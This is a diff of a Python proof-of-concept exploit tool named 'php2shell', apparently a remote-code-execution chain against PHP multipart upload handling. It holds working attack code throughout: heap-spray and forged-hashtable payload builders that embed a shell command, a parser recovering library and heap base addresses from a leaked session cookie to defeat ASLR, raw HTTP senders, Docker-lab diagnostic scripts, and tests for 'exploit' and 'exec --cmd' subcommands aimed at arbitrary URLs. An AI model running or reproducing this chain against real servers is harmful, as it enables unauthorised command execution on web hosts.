struct.pack_into("<Q", slot, 8, ptr)
|
||||
struct.pack_into("<I", slot, 16, val_type)
|
||||
return bytes(slot)
|
||||
|
||||
|
||||
def _spray(vl, ptr, rc, val_type, ref_start, ref_step):
|
||||
v = bytearray(b"S" * vl)
|
||||
off = ref_start
|
||||
while off + 32 <= vl:
|
||||
v[off:off + 32] = build_ref_slot(ptr, rc, val_type)
|
||||
off += ref_step
|
||||
return bytes(v)
|
||||
|
||||
|
||||
def _name(prefix, i, nlen):
|
||||
return (prefix + ("%09d" % i).encode() + b"x" * nlen)[:nlen]
|
||||
|
||||
|
||||
def build_b2(cfg, ht_addr, ht, sid=b"a" * 32, progress=b"k0", boundary=BOUNDARY):
|
||||
spray = _spray(cfg["vl"], ht_addr, cfg["rc"], cfg.get("val_type", 0x0107),
|
||||
cfg.get("ref_start", 8), cfg.get("ref_step", 32))
|
||||
out = bytearray()
|
||||
|
||||
def part(name, value):
|
||||
out.extend(b"--" + boundary + b"\r\nContent-Disposition: form-data; name=\"" +
|
||||
name + b"\"\r\n\r\n" + value + b"\r\n")
|
||||
|
||||
for i in range(cfg["n1"]):
|
||||
part(_name(b"s", i, cfg["name_len"]), spray)
|
||||
part(b"ht", ht)
|
||||
part(b"PHPSESSID", sid)
|
||||
part(b"PHP_SESSION_UPLOAD_PROGRESS", progress)
|
||||
for i in range(cfg["n2"]):
|
||||
part(_name(b"t", i, cfg["name_len"]), spray)
|
||||
out.extend(b"--" + boundary + b"--\r\n")
|
||||
return bytes(out)
|
||||
+69
@@ -0,0 +1,69 @@
|
||||
import struct
|
||||
from collections import Counter
|
||||
|
||||
|
||||
class LeakError(Exception):
|
||||
pass
|
||||
|
||||
|
||||
def qwords(buf, ptr_min, ptr_max):
|
||||
counts = Counter()
|
||||
for off in range(0, len(buf) - 7, 8):
|
||||
q = struct.unpack_from("<Q", buf, off)[0]
|
||||
if ptr_min <= q <= ptr_max:
|
||||
counts[q] += 1
|
||||
return counts
|
||||
|
||||
|
||||
def anchors(counts, prof, quorum):
|
||||
out = []
|
||||
for q, c in counts.items():
|
||||
if c < quorum:
|
||||
continue
|
||||
base = q - prof["dtor_offset"]
|
||||
if base <= 0 or base % 0x1000:
|
||||
continue
|
||||
out.append((q, c, base))
|
||||
out.sort(key=lambda t: (-t[1], t[0]))
|
||||
return out
|
||||
|
||||
|
||||
def classify(buf, prof, quorum=64):
|
||||
counts = qwords(buf, prof["ptr_min"], prof["ptr_max"])
|
||||
if not counts:
|
||||
raise LeakError("no heap pointers in leak window")
|
||||
cands = anchors(counts, prof, quorum)
|
||||
if not cands:
|
||||
raise LeakError("no page-aligned destructor anchor (quorum=%d)" % quorum)
|
||||
zdtor, n_dtor, lib = cands[0]
|
||||
|
||||
buckets = Counter()
|
||||
for q, c in counts.items():
|
||||
buckets[q & ~0x1FFFFF] += c
|
||||
lib_bucket = zdtor & ~0x1FFFFF
|
||||
id_bucket = buckets.most_common(1)[0][0]
|
||||
|
||||
main_cands = []
|
||||
for b, c in buckets.most_common():
|
||||
if b in (lib_bucket, id_bucket):
|
||||
continue
|
||||
delta = lib - b
|
||||
if not (prof["delta_min"] <= delta <= prof["delta_max"]):
|
||||
continue
|
||||
main_cands.append((b, c))
|
||||
if not main_cands:
|
||||
raise LeakError("no main-chunk candidate with plausible delta")
|
||||
main_cands.sort(key=lambda bc: (abs(bc[1] - prof["main_bucket_count"]), bc[1]))
|
||||
main, n_main = main_cands[0]
|
||||
|
||||
return {
|
||||
"decoded": len(buf),
|
||||
"zdtor": zdtor,
|
||||
"dtor_count": n_dtor,
|
||||
"lib": lib,
|
||||
"main": main,
|
||||
"main_bucket_count": n_main,
|
||||
"delta": lib - main,
|
||||
"buckets": [(b, c) for b, c in buckets.most_common(6)],
|
||||
"main_candidates": [b for b, _ in main_cands[:3]],
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
import os
|
||||
|
||||
|
||||
def default_outdir():
|
||||
if os.name == "nt":
|
||||
base = os.environ.get("LOCALAPPDATA") or os.path.expanduser(os.path.join("~", "AppData", "Local"))
|
||||
else:
|
||||
base = os.environ.get("XDG_DATA_HOME") or os.path.expanduser(os.path.join("~", ".local", "share"))
|
||||
return os.path.join(base, "php2shell", "out")
|
||||
|
||||
|
||||
def ensure():
|
||||
path = default_outdir()
|
||||
os.makedirs(path, exist_ok=True)
|
||||
return path
|
||||
+19
-6
@@ -1,10 +1,22 @@
|
||||
import socket
|
||||
import ssl
|
||||
import time
|
||||
import urllib.parse
|
||||
|
||||
BOUNDARY = b"C" * 10
|
||||
|
||||
|
||||
def connect(host, port, timeout=5.0, tls=False, insecure=False):
|
||||
sock = socket.create_connection((host, port), timeout=timeout)
|
||||
if not tls:
|
||||
return sock
|
||||
ctx = ssl.create_default_context()
|
||||
if insecure:
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
return ctx.wrap_socket(sock, server_hostname=host)
|
||||
|
||||
|
||||
def frame_chunked(path, body, host, boundary=BOUNDARY, chunk=65536):
|
||||
hdr = ("POST %s HTTP/1.1\r\nHost: %s\r\n"
|
||||
"Content-Type: multipart/form-data; boundary=%s\r\n"
|
||||
@@ -25,9 +37,9 @@ def frame_plain(path, body, host, boundary=BOUNDARY):
|
||||
(path, host, boundary.decode(), len(body))).encode() + body
|
||||
|
||||
|
||||
def send(host, port, blob, timeout=600.0, limit=8 << 20):
|
||||
def send(host, port, blob, timeout=600.0, limit=8 << 20, tls=False, insecure=False):
|
||||
resp = bytearray()
|
||||
sock = socket.create_connection((host, port), timeout=timeout)
|
||||
sock = connect(host, port, timeout, tls, insecure)
|
||||
sock.settimeout(timeout)
|
||||
try:
|
||||
sock.sendall(blob)
|
||||
@@ -57,19 +69,20 @@ def status(resp):
|
||||
return resp.split(b"\r\n", 1)[0][:80].decode("latin1", "replace")
|
||||
|
||||
|
||||
def warm(host, port, path="/index.php"):
|
||||
sock = socket.create_connection((host, port), timeout=5)
|
||||
def warm(host, port, path="/index.php", tls=False, insecure=False):
|
||||
sock = connect(host, port, 5, tls, insecure)
|
||||
sock.sendall(("GET %s HTTP/1.0\r\nHost: x\r\n\r\n" % path).encode())
|
||||
sock.recv(1024)
|
||||
sock.close()
|
||||
|
||||
|
||||
def hold_workers(host, port, count, body_len=1048576, path="/index.php"):
|
||||
def hold_workers(host, port, count, body_len=1048576, path="/index.php",
|
||||
tls=False, insecure=False):
|
||||
held = []
|
||||
if count <= 0:
|
||||
return held
|
||||
for _ in range(count):
|
||||
sock = socket.create_connection((host, port), timeout=5)
|
||||
sock = connect(host, port, 5, tls, insecure)
|
||||
sock.sendall(("POST %s HTTP/1.1\r\nHost: %s\r\n"
|
||||
"Content-Type: application/x-www-form-urlencoded\r\n"
|
||||
"Content-Length: %d\r\n\r\nx" % (path, host, body_len)).encode())
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
# research/
|
||||
|
||||
Working material, not part of the shipped tool. Everything here is either ignored by git or
|
||||
explained below.
|
||||
|
||||
## Provenance of `tests/golden/bodies.json`
|
||||
|
||||
The golden hashes are **generated, never typed**. They are produced from the public reference
|
||||
chain (`9bie/php2shell-bypass-aslr-exp`) so that `poc/bodies.py` can be proven byte-identical to
|
||||
the code the primitives were published with, without vendoring that code.
|
||||
|
||||
```bash
|
||||
mkdir -p research/upstream
|
||||
git clone --depth 1 https://github.com/9bie/php2shell-bypass-aslr-exp.git research/upstream
|
||||
python research/capture_golden.py
|
||||
python -m unittest tests.test_bodies_parity -v
|
||||
```
|
||||
|
||||
`capture_golden.py` runs the reference generators with the exact parameters recorded in
|
||||
`poc/profiles.py` (`a1` with `--big 78`, `a2` via `build_body(880, 64, 115, …)`, `b1` with the
|
||||
17-item leak spec and `--fake-len 0xC8000 --tag`), hashes the three bodies and writes
|
||||
`tests/golden/bodies.json`. If a golden mismatches, the fix belongs in `poc/bodies.py` — never in
|
||||
the golden file.
|
||||
|
||||
## Ignored artefacts
|
||||
|
||||
| Path | Why it is not committed |
|
||||
|---|---|
|
||||
| `research/upstream/` | third-party clone, reference only; nothing in `poc/` imports it |
|
||||
| `research/control/` | the control-test copy with one literal widened (see `NOTES.md` §10) |
|
||||
| `research/libphp.so` | 21 MB binary from the target image; needed only for `tests/test_elf.py` |
|
||||
| `research/captures/*` | multi-megabyte HTTP responses and generated bodies |
|
||||
|
||||
Consequences: on a fresh clone, `tests/test_elf.py` and the real-capture test in
|
||||
`tests/test_leak_parse.py` skip themselves. To run them, copy the module out of the target:
|
||||
|
||||
```bash
|
||||
docker cp p2s-lab:/usr/lib/apache2/modules/libphp.so research/libphp.so
|
||||
```
|
||||
|
||||
Everything else — the payload builders, the leak parser, framing, profile logic, CLI parsing —
|
||||
runs with no Docker, no network and no binary, which is what CI exercises.
|
||||
@@ -1,28 +0,0 @@
|
||||
import struct
|
||||
import sys
|
||||
from collections import Counter
|
||||
|
||||
buf = open(sys.argv[1], "rb").read()
|
||||
print("len", len(buf))
|
||||
|
||||
counts = Counter()
|
||||
for off in range(0, len(buf) - 7, 8):
|
||||
q = struct.unpack_from("<Q", buf, off)[0]
|
||||
if 0x1000000000 <= q <= 0x7FFFFFFFFFFF:
|
||||
counts[q] += 1
|
||||
|
||||
print("canonical user-space qwords:", sum(counts.values()), "distinct:", len(counts))
|
||||
print("top 12:")
|
||||
for q, c in counts.most_common(12):
|
||||
print(" %#018x x%d" % (q, c))
|
||||
|
||||
buckets = Counter()
|
||||
for q, c in counts.items():
|
||||
buckets[q & ~0x1FFFFF] += c
|
||||
print("2MiB buckets:")
|
||||
for b, c in buckets.most_common(10):
|
||||
print(" %#018x x%d" % (b, c))
|
||||
|
||||
top_q, top_c = counts.most_common(1)[0]
|
||||
for name, off in (("zval_ptr_dtor", 0x65EB60), ("zif_system", 0x465370)):
|
||||
print("if top==%s -> libphp=%#x" % (name, (top_q - off) & 0xFFFFFFFFFFFFFFFF))
|
||||
@@ -1,105 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
import os
|
||||
import socket
|
||||
import struct
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
import urllib.parse
|
||||
from collections import Counter
|
||||
|
||||
HERE = os.path.dirname(os.path.abspath(__file__))
|
||||
PURE = os.path.join(HERE, "upstream", "pure")
|
||||
PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 18110
|
||||
NAME = sys.argv[2] if len(sys.argv) > 2 else "p2s-lab"
|
||||
CAP = os.path.join(HERE, "captures")
|
||||
os.makedirs(CAP, exist_ok=True)
|
||||
|
||||
LEAK_SPEC = ",".join(["G:511:0x137"] * 14 + ["G:400:0x137", "G:511:0x137", "X:900"])
|
||||
|
||||
|
||||
def sh(cmd):
|
||||
return subprocess.run(cmd, shell=True, capture_output=True, text=True).stdout.strip()
|
||||
|
||||
|
||||
def workers():
|
||||
return sh('docker exec %s sh -c "pgrep -f apache2 | tr \'\\n\' \' \'"' % NAME)
|
||||
|
||||
|
||||
def warm():
|
||||
s = socket.create_connection(("127.0.0.1", PORT), timeout=5)
|
||||
s.sendall(b"GET /index.php HTTP/1.0\r\nHost: x\r\n\r\n")
|
||||
s.recv(1024)
|
||||
s.close()
|
||||
|
||||
|
||||
def send(body_file, path, chunked, save=""):
|
||||
cmd = [sys.executable, os.path.join(PURE, "chunked_send.py"),
|
||||
"--port", str(PORT), "--body-file", body_file,
|
||||
"--path", path, "--timeout", "300"]
|
||||
if save:
|
||||
cmd += ["--save-response", save]
|
||||
subprocess.run(cmd, check=True, stdout=subprocess.DEVNULL)
|
||||
return open(save, "rb").read() if save else b""
|
||||
|
||||
|
||||
def step(label, body, path, chunked):
|
||||
print("[%s] workers_before=%s" % (label, workers()))
|
||||
t0 = time.time()
|
||||
save = os.path.join(CAP, "diag_%s.resp" % label)
|
||||
if chunked:
|
||||
resp = send(body, path, True, save)
|
||||
else:
|
||||
t0 = time.time()
|
||||
resp = send(body, path, False, save)
|
||||
print("[%s] %.2fs resp=%d status=%r workers_after=%s" % (
|
||||
label, time.time() - t0, len(resp),
|
||||
resp.split(b"\r\n", 1)[0][:70], workers()))
|
||||
return resp
|
||||
|
||||
|
||||
os.makedirs(CAP, exist_ok=True)
|
||||
print("restarting", NAME)
|
||||
sh("docker restart %s" % NAME)
|
||||
time.sleep(2.0)
|
||||
print("ready:", sh('curl -s -m 5 http://127.0.0.1:%d/index.php' % PORT))
|
||||
warm()
|
||||
print("workers warm=%s" % workers())
|
||||
|
||||
a1 = os.path.join(CAP, "diag_a1.bin")
|
||||
subprocess.run([sys.executable, os.path.join(PURE, "mk_a1.py"), "--out", a1,
|
||||
"--big", "78"], check=True, stdout=subprocess.DEVNULL)
|
||||
print("a1 bytes=%d" % os.path.getsize(a1))
|
||||
step("a1", a1, "/index.php?q0000000=v&q0000001=v&q0000002=v&q0000003=v&q0000004=v", True)
|
||||
|
||||
b1 = os.path.join(CAP, "diag_b1.bin")
|
||||
subprocess.run([sys.executable, os.path.join(PURE, "mk_leak_b.py"), "--out", b1,
|
||||
"--spec", LEAK_SPEC, "--fake-len", "0xC8000", "--tag"],
|
||||
check=True, stdout=subprocess.DEVNULL)
|
||||
print("b1 bytes=%d" % os.path.getsize(b1))
|
||||
resp = step("b1", b1, "/index.php", True)
|
||||
|
||||
i = resp.find(b"Set-Cookie: PHPSESSID=")
|
||||
print("set-cookie at=%d" % i)
|
||||
if i < 0:
|
||||
print("head:", resp[:400])
|
||||
raise SystemExit(1)
|
||||
val = resp[i + len(b"Set-Cookie: PHPSESSID="):].split(b"\r\n")[0]
|
||||
dec = urllib.parse.unquote_to_bytes(val.decode("latin1"))
|
||||
print("raw=%d decoded=%d" % (len(val), len(dec)))
|
||||
open(os.path.join(CAP, "diag_decoded.bin"), "wb").write(dec)
|
||||
|
||||
hist = Counter()
|
||||
top = Counter()
|
||||
for off in range(0, len(dec) - 7, 8):
|
||||
q = struct.unpack_from("<Q", dec, off)[0]
|
||||
hist[q >> 40] += 1
|
||||
if q:
|
||||
top[q] += 1
|
||||
print("high-byte hist:", [(hex(k << 40), v) for k, v in hist.most_common(6)])
|
||||
print("top qwords:")
|
||||
for q, c in top.most_common(6):
|
||||
print(" %#018x x%d" % (q, c))
|
||||
print("0x7f range:", sum(c for q, c in top.items() if 0x7F0000000000 <= q <= 0x7FFFFFFFFFFF))
|
||||
print("ascii head:", dec[:150].decode("latin1").replace("\x00", "."))
|
||||
print("byte histogram top:", Counter(dec).most_common(6))
|
||||
@@ -1,73 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
import os
|
||||
import struct
|
||||
import subprocess
|
||||
import sys
|
||||
import urllib.parse
|
||||
from collections import Counter
|
||||
|
||||
HERE = os.path.dirname(os.path.abspath(__file__))
|
||||
UP = os.path.join(HERE, "upstream")
|
||||
PURE = os.path.join(UP, "pure")
|
||||
sys.path.insert(0, PURE)
|
||||
|
||||
import chunked_send # noqa: E402
|
||||
import mk_leak_b # noqa: E402
|
||||
|
||||
PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 18110
|
||||
LEAK_SPEC = ",".join(["G:511:0x137"] * 14 + ["G:400:0x137", "G:511:0x137", "X:900"])
|
||||
|
||||
|
||||
def send_chunked(body_file, path="/index.php", save=""):
|
||||
cmd = [sys.executable, os.path.join(PURE, "chunked_send.py"),
|
||||
"--port", str(PORT), "--body-file", body_file,
|
||||
"--path", path, "--timeout", "300"]
|
||||
if save:
|
||||
cmd += ["--save-response", save]
|
||||
subprocess.run(cmd, check=True, stdout=subprocess.DEVNULL)
|
||||
return open(save, "rb").read() if save else b""
|
||||
|
||||
|
||||
tmp = os.path.join(HERE, "captures")
|
||||
os.makedirs(tmp, exist_ok=True)
|
||||
|
||||
a1 = os.path.join(tmp, "diag_a1.bin")
|
||||
subprocess.run([sys.executable, os.path.join(PURE, "mk_a1.py"),
|
||||
"--out", a1, "--big", "78"], check=True, stdout=subprocess.DEVNULL)
|
||||
print("a1 bytes=%d" % os.path.getsize(a1))
|
||||
send_chunked(a1, "/index.php?q0000000=v&q0000001=v&q0000002=v&q0000003=v&q0000004=v")
|
||||
|
||||
b1 = os.path.join(tmp, "diag_b1.bin")
|
||||
subprocess.run([sys.executable, os.path.join(PURE, "mk_leak_b.py"),
|
||||
"--out", b1, "--spec", LEAK_SPEC,
|
||||
"--fake-len", "0xC8000", "--tag"], check=True, stdout=subprocess.DEVNULL)
|
||||
resp = send_chunked(b1, "/index.php", os.path.join(tmp, "diag_leak.resp"))
|
||||
print("resp bytes=%d" % len(resp))
|
||||
print("status=%r" % resp.split(b"\r\n", 1)[0][:80])
|
||||
|
||||
i = resp.find(b"Set-Cookie: PHPSESSID=")
|
||||
print("set-cookie at=%d" % i)
|
||||
if i < 0:
|
||||
print(resp[:600])
|
||||
raise SystemExit(1)
|
||||
val = resp[i + len(b"Set-Cookie: PHPSESSID="):].split(b"\r\n")[0]
|
||||
print("raw cookie bytes=%d" % len(val))
|
||||
dec = urllib.parse.unquote_to_bytes(val.decode("latin1"))
|
||||
print("decoded=%d" % len(dec))
|
||||
open(os.path.join(tmp, "diag_decoded.bin"), "wb").write(dec)
|
||||
|
||||
hist = Counter()
|
||||
top = Counter()
|
||||
for off in range(0, len(dec) - 7, 8):
|
||||
q = struct.unpack_from("<Q", dec, off)[0]
|
||||
hist[q >> 40] += 1
|
||||
if q:
|
||||
top[q] += 1
|
||||
print("qword high-byte histogram:", [(hex(k << 40), v) for k, v in hist.most_common(8)])
|
||||
print("top nonzero qwords:")
|
||||
for q, c in top.most_common(8):
|
||||
print(" %#018x x%d" % (q, c))
|
||||
print("count 0x7f-range:", sum(c for q, c in top.items() if 0x7F0000000000 <= q <= 0x7FFFFFFFFFFF))
|
||||
print("count canon-user :", sum(c for q, c in top.items() if 0x1000000000 <= q <= 0x7FFFFFFFFFFF))
|
||||
print("first 64 bytes:", dec[:64])
|
||||
print("ascii head:", dec[:120].decode("latin1").replace("\x00", "."))
|
||||
@@ -0,0 +1,121 @@
|
||||
import unittest
|
||||
|
||||
from poc import cli
|
||||
|
||||
|
||||
def parse(argv):
|
||||
return cli.build_parser().parse_args(argv)
|
||||
|
||||
|
||||
class SeparationTest(unittest.TestCase):
|
||||
def test_no_lab_subcommand(self):
|
||||
with self.assertRaises(SystemExit):
|
||||
parse(["lab"])
|
||||
|
||||
def test_subcommands_are_exploit_only(self):
|
||||
cases = {"check": [], "leak": [], "exploit": [], "status": [],
|
||||
"exec": ["--cmd", "id"], "offsets": ["--lib", "x"], "selftest": []}
|
||||
for name, extra in cases.items():
|
||||
self.assertTrue(callable(parse([name] + extra).func), name)
|
||||
|
||||
def test_exploit_keeps_its_flags(self):
|
||||
ns = parse(["exploit", "--cmd", "id>/out/x", "--retries", "1"])
|
||||
self.assertEqual(ns.cmd, "id>/out/x")
|
||||
self.assertEqual(ns.retries, 1)
|
||||
|
||||
def test_exploit_and_leak_are_separate_commands(self):
|
||||
self.assertIs(parse(["exploit"]).func, cli.cmd_exploit)
|
||||
self.assertIs(parse(["leak"]).func, cli.cmd_leak)
|
||||
self.assertIs(parse(["check"]).func, cli.cmd_check)
|
||||
|
||||
|
||||
class UrlTargetTest(unittest.TestCase):
|
||||
def test_defaults_without_url(self):
|
||||
ns = cli.resolve_target(parse(["exploit"]))
|
||||
self.assertEqual((ns.host, ns.port, ns.path), ("127.0.0.1", 18110, ""))
|
||||
|
||||
def test_url_sets_host_port_and_path(self):
|
||||
ns = cli.resolve_target(parse(["exploit", "--url", "http://10.0.0.5:8080/app/index.php"]))
|
||||
self.assertEqual(ns.host, "10.0.0.5")
|
||||
self.assertEqual(ns.port, 8080)
|
||||
self.assertEqual(ns.path, "/app/index.php")
|
||||
|
||||
def test_url_default_port_80(self):
|
||||
ns = cli.resolve_target(parse(["leak", "--url", "http://lab.internal/index.php"]))
|
||||
self.assertEqual(ns.port, 80)
|
||||
|
||||
def test_url_root_path_defaults(self):
|
||||
ns = cli.resolve_target(parse(["leak", "--url", "http://lab.internal:9000"]))
|
||||
self.assertEqual(ns.path, "/index.php")
|
||||
|
||||
def test_https_enables_tls(self):
|
||||
ns = cli.resolve_target(parse(["exploit", "--url", "https://lab.internal/"]))
|
||||
self.assertTrue(ns.tls)
|
||||
self.assertEqual(ns.port, 443)
|
||||
self.assertEqual(ns.path, "/")
|
||||
|
||||
def test_https_default_port_443(self):
|
||||
ns = cli.resolve_target(parse(["leak", "--url", "https://lab.internal/index.php"]))
|
||||
self.assertEqual((ns.tls, ns.port, ns.path), (True, 443, "/index.php"))
|
||||
|
||||
def test_http_leaves_tls_off(self):
|
||||
ns = cli.resolve_target(parse(["exploit", "--url", "http://lab.internal/"]))
|
||||
self.assertFalse(ns.tls)
|
||||
self.assertEqual(ns.port, 80)
|
||||
|
||||
def test_unsupported_scheme_rejected(self):
|
||||
with self.assertRaises(SystemExit):
|
||||
cli.resolve_target(parse(["exploit", "--url", "ftp://lab.internal/"]))
|
||||
|
||||
def test_insecure_flag_parses(self):
|
||||
ns = parse(["exploit", "--url", "https://lab.internal", "--insecure"])
|
||||
self.assertTrue(ns.insecure)
|
||||
|
||||
def test_explicit_flags_win_over_url(self):
|
||||
ns = cli.resolve_target(parse(["exploit", "--url", "http://a:1/x.php", "--port", "7000"]))
|
||||
self.assertEqual(ns.port, 7000)
|
||||
|
||||
|
||||
class BannerTest(unittest.TestCase):
|
||||
def test_banner_carries_author_and_org(self):
|
||||
import contextlib
|
||||
import io
|
||||
|
||||
import poc
|
||||
|
||||
buf = io.StringIO()
|
||||
with contextlib.redirect_stdout(buf):
|
||||
cli.banner()
|
||||
out = buf.getvalue()
|
||||
self.assertIn(poc.__author__, out)
|
||||
self.assertIn(poc.__org__, out)
|
||||
self.assertIn(poc.__version__, out)
|
||||
|
||||
|
||||
class ExecWrapperTest(unittest.TestCase):
|
||||
def test_wrapper_redirects_output_to_mount(self):
|
||||
wrapped = cli.exec_wrapper("id")
|
||||
self.assertIn("id", wrapped)
|
||||
self.assertIn("/out/.poc-exec", wrapped)
|
||||
self.assertTrue(wrapped.endswith("2>&1"))
|
||||
self.assertIn(chr(10), wrapped)
|
||||
|
||||
def test_wrapper_survives_multiple_commands(self):
|
||||
wrapped = cli.exec_wrapper("id; uname -a")
|
||||
self.assertIn("id; uname -a", wrapped)
|
||||
|
||||
def test_fits_boundary(self):
|
||||
self.assertTrue(cli.exec_fits("A" * 150))
|
||||
self.assertFalse(cli.exec_fits("A" * 300))
|
||||
|
||||
def test_limit_matches_forge_carrier(self):
|
||||
from poc import forge
|
||||
self.assertEqual(cli.CARRIER_LIMIT, 200)
|
||||
with self.assertRaises(ValueError):
|
||||
forge.build_ht(0, 0, b"A" * (cli.CARRIER_LIMIT + 1))
|
||||
|
||||
def test_exec_command_parses_and_resolves(self):
|
||||
ns = cli.resolve_target(parse(["exec", "--cmd", "id", "--url", "http://h:9/x.php"]))
|
||||
self.assertIs(ns.func, cli.cmd_exec)
|
||||
self.assertEqual(ns.cmd, "id")
|
||||
self.assertEqual((ns.host, ns.port, ns.path), ("h", 9, "/x.php"))
|
||||
@@ -0,0 +1,45 @@
|
||||
import struct
|
||||
import unittest
|
||||
|
||||
from poc import forge
|
||||
|
||||
|
||||
class ForgeTest(unittest.TestCase):
|
||||
def test_ht_layout(self):
|
||||
ht = forge.build_ht(0x7F0000000000, 0x7F0000A00000, b"id>/out/p1")
|
||||
self.assertEqual(len(ht), 384)
|
||||
self.assertEqual(struct.unpack_from("<II", ht, 0x00), (1, 7))
|
||||
self.assertEqual(struct.unpack_from("<Q", ht, 0x10)[0], 0x7F0000000000 + 0x20)
|
||||
self.assertEqual(struct.unpack_from("<Q", ht, 0x30)[0], 0x7F0000A00000)
|
||||
self.assertEqual(struct.unpack_from("<I", ht, 0x4C)[0], 1)
|
||||
self.assertEqual(struct.unpack_from("<Q", ht, 0x70)[0], 0x7F0000000000 + 0x80)
|
||||
self.assertEqual(struct.unpack_from("<I", ht, 0x78)[0], 6)
|
||||
self.assertEqual(ht[0x98:0x98 + 10], b"id>/out/p1")
|
||||
|
||||
def test_cmd_too_long_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
forge.build_ht(0, 0, b"A" * 500)
|
||||
|
||||
def test_ref_slot(self):
|
||||
slot = forge.build_ref_slot(0x7F0000000000, 1)
|
||||
self.assertEqual(len(slot), 32)
|
||||
self.assertEqual(struct.unpack_from("<I", slot, 0)[0], 1)
|
||||
self.assertEqual(slot[4], 0x0A)
|
||||
self.assertEqual(struct.unpack_from("<Q", slot, 8)[0], 0x7F0000000000)
|
||||
self.assertEqual(struct.unpack_from("<I", slot, 16)[0], 0x0107)
|
||||
|
||||
def test_b2_ordering(self):
|
||||
cfg = {"vl": 384, "n1": 3, "n2": 3, "rc": 1, "name_len": 10,
|
||||
"ref_start": 8, "ref_step": 32, "val_type": 0x0107}
|
||||
body = forge.build_b2(cfg, ht_addr=0x7F0000000000, ht=b"h" * 384)
|
||||
self.assertEqual(body.count(b"name=\"s000000000\""), 1)
|
||||
self.assertEqual(body.count(b"name=\"t000000000\""), 1)
|
||||
self.assertLess(body.index(b"name=\"ht\""), body.index(b"name=\"PHPSESSID\""))
|
||||
self.assertLess(body.index(b"name=\"PHPSESSID\""), body.index(b"name=\"t000000000\""))
|
||||
self.assertEqual(body.count(b"h" * 384), 1)
|
||||
|
||||
def test_b2_spray_density(self):
|
||||
cfg = {"vl": 384, "n1": 2, "n2": 0, "rc": 1, "name_len": 10,
|
||||
"ref_start": 8, "ref_step": 32, "val_type": 0x0107}
|
||||
body = forge.build_b2(cfg, ht_addr=0x1111111111110000, ht=b"h" * 384)
|
||||
self.assertEqual(body.count(struct.pack("<Q", 0x1111111111110000)), 2 * 11)
|
||||
@@ -0,0 +1,62 @@
|
||||
import os
|
||||
import struct
|
||||
import unittest
|
||||
|
||||
from poc import leak, profiles
|
||||
|
||||
_, PROF = profiles.select("51663cf883b1223436d4c99f31dd0225735ea5573665e4242621eee7f4ee679c")
|
||||
CAP = os.path.join(os.path.dirname(__file__), "..", "research", "captures", "diag_decoded.bin")
|
||||
|
||||
|
||||
def synth(lib, main, idc, n_main=87, n_id=7495, n_dtor=1095, decoy=0):
|
||||
buf = bytearray()
|
||||
buf += b"\x00" * 64
|
||||
if decoy:
|
||||
buf += struct.pack("<Q", 0x0000001600000001) * decoy
|
||||
buf += struct.pack("<Q", lib + PROF["dtor_offset"]) * n_dtor
|
||||
buf += struct.pack("<Q", idc + 0x1234) * n_id
|
||||
buf += struct.pack("<Q", main + 0x1000) * n_main
|
||||
return bytes(buf)
|
||||
|
||||
|
||||
class LeakTest(unittest.TestCase):
|
||||
def test_recovers_both_bases(self):
|
||||
lib = 0x7D2700000000
|
||||
main = lib - 0x1E00000
|
||||
info = leak.classify(synth(lib, main, 0x7D2000000000), PROF)
|
||||
self.assertEqual(info["lib"], lib)
|
||||
self.assertEqual(info["main"], main)
|
||||
self.assertEqual(info["main_bucket_count"], 87)
|
||||
|
||||
def test_low_mmap_base_is_accepted(self):
|
||||
lib = 0x732700000000
|
||||
main = lib - 0x1E00000
|
||||
info = leak.classify(synth(lib, main, 0x732000000000), PROF)
|
||||
self.assertEqual(info["lib"], lib)
|
||||
|
||||
def test_decoy_outnumbers_dtor_and_is_rejected(self):
|
||||
lib = 0x7D2700000000
|
||||
main = lib - 0x1E00000
|
||||
info = leak.classify(synth(lib, main, 0x7D2000000000, decoy=4000), PROF)
|
||||
self.assertEqual(info["lib"], lib)
|
||||
|
||||
def test_rejects_implausible_delta(self):
|
||||
lib, main = 0x7D2700000000, 0x7D0000000000
|
||||
with self.assertRaises(leak.LeakError):
|
||||
leak.classify(synth(lib, main, 0x7D2000000000), PROF)
|
||||
|
||||
def test_no_pointer_raises(self):
|
||||
with self.assertRaises(leak.LeakError):
|
||||
leak.classify(b"\x00" * 4096, PROF)
|
||||
|
||||
@unittest.skipUnless(os.path.exists(CAP), "captured leak not present")
|
||||
def test_real_capture(self):
|
||||
with open(CAP, "rb") as fh:
|
||||
buf = fh.read()
|
||||
info = leak.classify(buf, PROF)
|
||||
self.assertEqual(info["decoded"], 819208)
|
||||
self.assertEqual(info["main_bucket_count"], 87)
|
||||
delta = info["lib"] - info["main"]
|
||||
self.assertGreaterEqual(delta, PROF["delta_min"])
|
||||
self.assertLessEqual(delta, PROF["delta_max"])
|
||||
self.assertEqual(info["lib"] % 0x1000, 0)
|
||||
@@ -0,0 +1,41 @@
|
||||
import os
|
||||
import unittest
|
||||
|
||||
from poc import outdir
|
||||
|
||||
|
||||
class OutdirTest(unittest.TestCase):
|
||||
def test_path_is_absolute_and_ends_with_out(self):
|
||||
path = outdir.default_outdir()
|
||||
self.assertTrue(os.path.isabs(path))
|
||||
self.assertTrue(path.endswith("out"))
|
||||
|
||||
def test_contains_php2shell(self):
|
||||
self.assertIn("php2shell", outdir.default_outdir())
|
||||
|
||||
def test_honours_env(self):
|
||||
key = "XDG_DATA_HOME" if os.name != "nt" else "LOCALAPPDATA"
|
||||
old = os.environ.get(key)
|
||||
os.environ[key] = os.path.join(os.sep, "tmp" if os.name != "nt" else "C:\\", "poc-env")
|
||||
try:
|
||||
self.assertIn("poc-env", outdir.default_outdir())
|
||||
finally:
|
||||
if old is None:
|
||||
os.environ.pop(key, None)
|
||||
else:
|
||||
os.environ[key] = old
|
||||
|
||||
def test_ensure_creates_directory(self):
|
||||
key = "XDG_DATA_HOME" if os.name != "nt" else "LOCALAPPDATA"
|
||||
old = os.environ.get(key)
|
||||
import tempfile
|
||||
tmp = tempfile.mkdtemp(prefix="poc-out-")
|
||||
os.environ[key] = tmp
|
||||
try:
|
||||
path = outdir.ensure()
|
||||
self.assertTrue(os.path.isdir(path))
|
||||
finally:
|
||||
if old is None:
